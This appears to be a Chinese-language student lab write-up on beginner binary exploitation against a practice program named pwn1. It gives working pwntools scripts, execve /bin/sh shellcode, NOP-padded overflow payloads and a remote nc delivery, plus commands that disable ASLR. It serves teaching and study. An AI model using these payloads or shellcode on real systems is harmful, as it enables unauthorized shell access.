pwn入門學習(exp1)


常用匯編指令及寄存器的作用

  • NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什么也不做,僅僅當做一個指令執行過去並繼續執行NOP后面的一條指令。(機器碼:90)

  • JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)

  • J E:條件轉移指令,如果相等則跳轉。(機器碼:74)

  • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)

  • CMP:比較指令,功能相當於減法指令,只是對操作數之間運算比較,不保存結果。cmp指令執行后,將對標志寄存器產生影響。其他相關指令通過識別這些被影響的標志寄存器位來得知比較結果。

  • EAX:通用寄存器。相對其他寄存器,在進行運算方面比較常用。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器)

  • EBX:通用寄存器。通常作為內存偏移指針使用(相對於EAX、ECX、EDX),DS是默認的段寄存器或選擇器。在保護模式中,同樣可以起這個作用。

  • ECX:通用寄存器。通常用於特定指令的計數。在保護模式中,也可以作為內存偏移指針(此時,DS作為 寄存器或段選擇器)。

  • EDX:通用寄存器。在某些運算中作為EAX的溢出寄存器(例如乘、除)。在保護模式中,也可以作為內存偏移指針(此時,DS作為段 寄存器或選擇器)。

  • ESI:通常在內存操作指令中作為“源地址指針”使用。當然,ESI可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。

  • EDI:通常在內存操作指令中作為“目的地址指針”使用。當然,EDI也可以被裝入任意的數值,但通常沒有人把它當作通用寄存器來用。DS是默認段寄存器或選擇器。

  • EBP:這也是一個作為指針的寄存器。通常,它被高級語言編譯器用以建造‘堆棧幀'來保存函數或過程的局部變量,不過,還是那句話,你可以在其中保存你希望的任何數據。SS是它的默認段寄存器或選擇器。

工具選擇

  • kali2020:用於提供linux環境

  • python3:用於編寫腳本輔助攻擊

  • ida:用於查看和調試程序運行情況

場景實操

准備工作

root@zengyutao:~# execstack -s 20181221pwn3    //設置堆棧可執行
root@zengyutao:~# execstack -q 20181221pwn3    //查詢文件的堆棧是否可執行
X 20181221pwn3
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
2
root@zengyutao:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@zengyutao:~# more /proc/sys/kernel/randomize_va_space 
0

ida部分使用教程

  1. 確定程序是32位還是64位,選擇相應的ida打開。如果是32位的程序使用了64位的ida打開,雖然可以看到反匯編代碼,但是無法進行轉化為偽代碼的操作,會報錯,示例如下。

  1. 按F5進行轉換,查看程序偽代碼,這樣可以知道程序編寫邏輯,同時查看是否有隱藏的函數。(本次實踐中的程序在主函數中只調用了foo函數,隱藏了getShell函數,如圖所示)

  2. 同時,我們可以還通過切換窗口視圖來查看不同的窗口(反匯編窗口、偽代碼窗口、十六進制窗口、結構窗口、函數窗口等),反匯編窗口中可以通過空格切換為圖形視圖和文字視圖,同時,還可以下斷點對程序進行調試。

  1. 如果想要讓主機上的ida和虛擬機進行交互,需要進行部分配置。
  • 更改ida模式為“Remote Linux debugger"

image-20210310110413951

  • 查看虛擬機IP地址,並打開導航欄里的Debugger->Process options,修改配置。(紅框內為需要輸入的虛擬機IP地址)

image-20210310122401095

  • 打開ida文件夾里的dbgsrv文件夾,將對應的linux_server文件放到需要交互的虛擬機文件夾中。

image-20210310111106938

  • 本地打開需要調試的程序,下好斷點后按F9開始調試,同時虛擬機中可以將payload發送過來。在調試中,F2下斷點,F7單步步入,F8單步步過。

image-20210310112001780

image-20210310112013935

實踐目標

本次實踐的對象是一個名為pwn1的linux可執行文件。

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

但該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法getshell。

1、直接修改程序機器指令,改變程序執行流程

首先,用ida打開程序pwn1,F5查看程序偽代碼邏輯結構

image-20210310155710846

可以看到,main函數中的邏輯非常簡單,調用foo函數,然后結束,我們再看看foo函數的邏輯。

image-20210310155823271

foo函數會獲取用戶輸入,然后返回用戶輸出。此外,我們還發現了一個顯眼的getshell函數。

image-20210310155953097

getShell函數為我們提供了一個可用shell。於是思路就出現了,我們可以通過修改main函數中調用foo函數的地址,使其跳轉到getShell函數,即可完成攻擊。所以我們要查看main函數和getShell的函數的機器碼和地址。

image-20210310160430190

通過雙擊左側函數列表分別查看foo函數和getshell函數的入口,我們發現,foo函數的入口地址為08048491,getShell函數的入口地址為0804847D。所以,我們只需要修改程序16進制值,將08048491替換為0804847D即可達成目的。

image-20210310161159136

image-20210310161238423

我們先選中main函數中關鍵的地址

image-20210310161417188

再查看16進制值,E8是跳轉的機器碼,我們想讓它調用getShell,只要修改“d7ffffff”為,"0804847D-80484ba"對應的補碼就行。

image-20210310161455534

最后,我們使用winhex工具,通過計算,將D7FFFFFF改為C3FFFFFF即可完成攻擊。

image-20210310161829512

image-20210310161842844

2、通過構造輸入參數,造成BOF攻擊,改變程序執行流

根據剛剛我們查看foo函數偽代碼,可以知道,這里存在緩沖區溢出的漏洞。

首先,函數定義了一個char型的s,然后通過gets函數將用戶輸入的數據存入s中,再輸出s中的內容。而通常char分為無符號(unsigned)和有符號(signed)兩種:

  • 無符號(unsigned)的取值范圍:0~255;

  • 有符號(signed)的取值范圍為:-128~127.

一般我們常用char來聲明一個變量,編譯器默認為有符號的,即范圍為:-128~127。

具體緩沖區溢出攻擊原理看博客:https://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html

因此,我們只需要輸入字節足夠長的內容,就可以成功覆蓋返回地址。通過計算,128/4=32,再加上返回地址,所以我們至少需要輸入36個字符才能夠到達返回地址。所以我們嘗試輸入”11111111222222223333333344444444haha“

image-20210310164322038

可以看到紅框處,我們輸入的”11111111222222223333333344444444“已經把緩沖區填充滿了。然后選中的地方也可以發現,返回地址

也已經被我們輸入的”haha"占據了。因此,我們只需要將haha替換為getShell函數的返回地址,就可以成功攻擊了。

因此,我們只需要在腳本中修改一下payload的值,將haha替換為"\x7d\x84\x04\x08"即可。

image-20210310165020789

image-20210310165137549

這里貼上腳本,僅供參考:

from pwn import *

p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\x7d\x84\x04\x08'
p.sendline(payload)
p.interactive()

3、嘗試注入自己的shellcode並運行拿shell

首先,我們先打開一個空白文檔,將匯編語言寫到文檔中,並保存為.asm文件

image-20210310170109474

global _start
_start:
mov eax,0 ;eax置0
mov edx,0 ;edx置0
push edx
push "/sh"
push "/bin"  ;將/bin/sh存入棧中
mov ebx,esp  ;ebx指向/bin/sh字符串
xor eax,eax
mov al,0Bh   ;eax置為execve函數中斷號
int 80h

然后,我們用nasm編譯,生成目標文件,再用gun ld來連接:

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o

再提取機器碼:

for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n ' '$i; done; echo

於是我們就得到了最終的shellcode

\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80

我們把這個shellcode添加到我們的腳本中,並運行

image-20210310171326669

可以看到,shellcode的地址在FFFFD1B0中,我們只需要將”61686168“也就是”haha“改成"\xb0\xd1\xff\xff"既可

image-20210310171528910

至此,使用填充字符法溢出緩沖區的攻擊已經完成。下面附上腳本:

from pwn import *

p = process('./20181221pwn3')
payload = '11111111222222223333333344444444'+'\xb0\xd1\xff\xff\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()

那么,就有人問了,我如果不想填充那么多溢出緩沖區怎么辦?也有辦法

我們可以把我們的shellcode寫到緩沖區內部,再使用NOP填充到返回地址並修改就好了。

我們還是使用上面的shellcode作為演示,這次我們的payload是:

\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff

由於char型緩沖區的長度為128,所以我們需要填充9個"\x90"才能到達返回地址。

image-20210310175426677

不過這里有一個小細節需要注意,我們的shellcode長度不能太長,因為我們這時候已經快到EBX和ESP了。經過測試,我們shellcode的最大長度為24字節。

image-20210310174619180

最后附上腳本:

from pwn import *

p = process('./20181221pwn3')
payload = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8c\xd1\xff\xff'
p.sendline(payload)
p.interactive()

4、遠程nc連接getshell

首先,在主機終端輸入指令開啟監聽

nc -l -p 28234 -e ./20181221pwn3

image-20210315193658438

然后在另一台機上使用nc連接,這里我們直接使用pwn模組內置的remote函數進行連接。然后再直接通過腳本將shellcode傳進去,就可以getshell了。

image-20210315195156273

最后貼上腳本:

from pwn import *

p = remote("192.168.211.137",28234)

test1shellcode = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\xec\xd1\xff\xff'

payload = test1shellcode

p.sendline(payload)

p.interactive()

心得體會

總的來說,這次實驗比較基礎,教會了我如何查看分析文件二進制。同時,對於匯編指令和機器碼也有了更加深入的理解,能夠自行編寫shellcode。收獲頗豐。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM